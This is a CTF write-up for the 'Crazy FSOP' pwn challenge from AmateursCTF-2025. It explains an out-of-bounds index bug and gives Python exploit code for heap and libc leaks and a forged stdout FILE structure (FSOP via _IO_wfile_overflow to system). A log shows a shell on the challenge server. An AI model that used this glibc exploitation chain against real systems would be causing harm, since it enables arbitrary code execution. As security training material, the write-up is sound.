Crazy FSOP - Pwn Challenge Writeup

Challenge Overview

- **Category**: Pwn
- **TL;DR**: This is a heap exploitation challenge involving **File Stream Oriented Programming (FSOP)** in a note management program. The binary allows creating, deleting, and viewing notes with arbitrary sizes, but lacks bounds checking on the note index. This enables negative indexing to overwrite global file structures. The exploit involves leaking heap and libc addresses through unsorted bin manipulation, then performing FSOP by overwriting stdout's file structure to redirect execution flow and gain a shell.
- **Written by**: **Spinel99** of **TroJeun**
- **Binary Details**:
    - Type: 64-bit ELF, dynamically linked
    - Libc: Provided, `Ubuntu GLIBC 2.42-0ubuntu3`
    - Mitigations: Full Modern Mitigations

```
pwndbg> checksec
File:         /home/kali/CTFs/Events/AmateursCTF-2025/pwn/Crazy FSOP/chal
Arch:         amd64
RELRO:        Full RELRO
Stack:        Canary found
NX:           NX enabled
PIE:          PIE enabled
RUNPATH:      b'.'
Stripped:     No
```

Static Analysis

The binary is a simple note management system with three operations, all included in the `main()` function:

```c
int __fastcall main(int argc, const char **argv, const char **envp) {
  int op; // [rsp+0h] [rbp-20h] BYREF
  int idx; // [rsp+4h] [rbp-1Ch] BYREF
  size_t size; // [rsp+8h] [rbp-18h] BYREF
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  puts("CrAzY fSOP");
  puts("1. create note");
  puts("2. delete note");
  puts("3. view note");
  while ( 1 ){
    printf("which operation: ");
    if ( (unsigned int)__isoc23_scanf("%d", &op) != 1 )
      break;
    getchar();
    printf("which note: ");
    if ( (unsigned int)__isoc23_scanf("%d", &idx) != 1 )
      break;
    getchar();
    if ( op == 3 )
      printf("data: %s\n", notes[idx]);
    else{
      if ( op > 3 )
        break;
      if ( op == 1 ) {
        printf("size: ");
        if ( (unsigned int)__isoc23_scanf("%lx", &size) != 1 )
          break;
        getchar();
        buf = malloc(size);
        printf("data: ");
        read(0, buf, size);
        notes[idx] = (char *)buf;
      }
      else {
        if ( op != 2 )
          break;
        free(notes[idx]);
        notes[idx] = 0LL;
      }
    }
  }
  puts("goodbye...");
  return 0;
}
```

Vulnerabilities

1. **No Bounds Checking**: The index parameter has no validation, allowing negative indices to access memory before the notes array.
2. **Read Use-After-Free**: Not initializing heap chunks with null, allowing for reading previous data (pointers, leaks, ...)

Exploitation Strategy

Phase 1: Heap Leak

- Due to pointer mangling (starting from GLIBC-2.31), pointers in tcache & fast bins are mangled
- To leak the previous contents of a chunk, we can allocate it again, write only 1 byte (as to not overwrite our valuable leak), and we can leak/print it later.
- Writing 1 byte, with the mangled pointers, makes it hard/impossible to retrieve the original state of the address before our 1-byte (the mangled bytes are random with ASLR).
- Therefore, I decided to leak the heap from the `chunk->bk` pointer in the `unsorted bins`, because pointers of `unsorted bins` aren't mangled, following the steps:

1. Create two large enough chunks (0x500) to avoid tcache..
2. Create guard chunks to prevent any form of consolidation between chunks.
3. Free both large chunks to create unsorted bin chunks and make them point to each other.
4. Re-allocate one chunk and write just enough to leak the next address (7 bytes + the 8th `'\n'`).
5. View the chunk to leak heap address

```python
# Leaking heap
for i in range(2):
    create(p, i, 0x500, b'C' * 0x00)
    create(p, 15, 0x10, b'A' * 0x10)    # Guard

for i in range(2):
    delete(p, i)    # Free BOTH unsorted bin chunks

create(p, 1, 0x500, b'C' * 0x07)    # Allocate again to get previously
freed chunk

heap_base = u64(show(p, 1).ljust(8, b'\x00')) - 0x25c0 # Subtract static
offset from heap base
print(f'heap_base: {hex(heap_base)}')
```

Phase 2: Libc Leak

1. Allocate the other unsorted bin chunk
2. View it to leak libc main_arena address
3. Calculate libc base from the leak

```
# Leaking LIBC
create(p, 0, 0x500, b'C' * 0x00) # Allocate 2nd chunk, which has
main_arena, a leak to libc
# Offset to libc's base, Got it from GDB
libc.address = (u64(show(p, 0).ljust(8, b'\x00')) << 8) - 0x234b00
print(f"libc.address: {hex(libc.address)}")
```

Phase 3: Triggering FSOP

- After we got both our heap leak and libc leak, we have the necessary information to initiate our FSOP, which has been explicitly hinted in the challenge's description and name.
- No bounds checking allows us to assign addresses near the global pointers array, which has stdout near it, through out of bounds indexes (i.e. negative or large indexes).

```
.bss:0000000000004020                 public stdout
.bss:0000000000004020 ; _IO_FILE_plus *stdout
.bss:0000000000004020 stdout          dq ?                    ; DATA XREF:
main+17↑r
...
.bss:0000000000004040                 public notes
.bss:0000000000004040 ; char *notes[16]
.bss:0000000000004040 notes           dq 10h dup(?)           ; DATA XREF:
main+18C↑o
```

- This effectively allows us to overwrite the address of stdout in the binary, which is used by `printf`, `puts`, ...
- We got `0x4040 - 0x4020 = 0x20`, therefore index is `-4` (`-0x20 / 8 = -4`)

1. Craft the appropriate FSOP payload (will be explained in Phase 4)
2. Create the chunk in the appropriate out-of-bounds index (`-4`).
3. Enjoy your shell lol.

Phase 4: Exploiting FSOP

- First I/O manipulation function after the stdout overwrite is `printf`, which eventually calls `stdout->vtable->__xsputn` through the following call chain (note that this is libc-dependent, and may change in another libc version):

  `printf => __vfprintf_internal => __printf_buffer_to_file_done => __xsputn`

- This opens to us the same classical exploit approach as with `puts`, overwriting the `stdout->vtable` with a valid address to execute `_IO_wfile_overflow` instead of the regular, benign `__xsputn`.

- Then we do the generic path of exploiting `_IO_wfile_overflow`'s call into `_IO_wdoallocbuf`

- `_IO_wdoallocbuf` in turn Attempts to call `_wide_data->vtable->__doallocate` **without vtable checks**.

- This allows us to write whatever we want as the `vtable` of `stdout->_wide_data`, we will use our previously acquired heap leak to designate the later part of our chunk to be the `_wide_data`.
- And THEN utilize our LIBC leak, to write the address of `system()` into the offset `_IO_wdoallocbuf` will try to call (P.S.: `qword ptr [_wide_data->vtable + 0x68]`)
- Upon getting into the appropriate instruction, the program will call `system(stdout)`, so we made `stdout->_flags = " sh"`
- As we don't need root privileges, we can just get a user shell (`uid=1000(ubuntu)`) and print the flag, no need to escalate privileges using `setuid`, ...

Here's the relevant summarized part of the exploit:

```python
# Performing FSOP
stdout_idx = -4
fs_addr = heap_base + 0x3880 # Address of our new stdout, calculated from the heap base in GDB
w_addr = fs_addr + 0xE0 # Address of _wide_data in our new FS (File Struct)
w_vtable_addr = w_addr # Address of _wide_data->vtable

w_offset = 0xE0
fs = flat(
    {
        0x00: b' sh'.ljust(8, b'\x00'),
        0xA0: p64(w_addr),
        0xC0: p32(-1, sign="signed"),
        0xD8: libc.sym['_IO_wfile_jumps'] - 0x38 + 0x18,
        w_offset+0xE0: p64(w_vtable_addr),
        w_offset+0x68: p64(libc.sym['system'])
    },
    filler=b'\x00'
)
```

Solve Script

You can find the full solve script here.

Proof of Concept

Here's how the solve would look like:

```
┌──(kali㉿kali)-[~/…/Events/AmateursCTF-2025/pwn/Crazy FSOP]
└─$ ./exploit.py REMOTE
[!] Did not find any GOT entries
[+] Opening connection to amt.rs on port 26797: Done
heap_base: 0x558a2d5a7000
libc.address: 0x7fad503b4000
[*] Switching to interactive mode
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ ls
flag
run
$ cat flag
amateursCTF{libc_is_just_weird_sometimes}$
[*] Interrupted
[*] Closed connection to amt.rs port 26797
```

References & Resources

You can find some useful FSOP stuff in here:

- pwn.college module: Awesome content, learnt most of the stuff here.
- Angry-FSROP: Interesting and Educational article, displaying some advanced and clever FSOP Exploits.
- GLIBC-2.42 Source Code
- `_IO_FILE_plus` struct

Final Notes

I mostly liked and enjoyed this challenge, as it employed multiple vulnerabilities, so we needed to accurately chain them to get shell. Also because it's the first time I attempt to overwrite the `stdout` ptr in the `.bss` to exploit FSOP, only heard about it before in CTFs I was too lazy to upsolve lol.

Anyway Thank you for the author for such a great challenge, I also liked other pwn challenges, sadly I didn't have much time to play seriously in this CTF, hope next time will be better.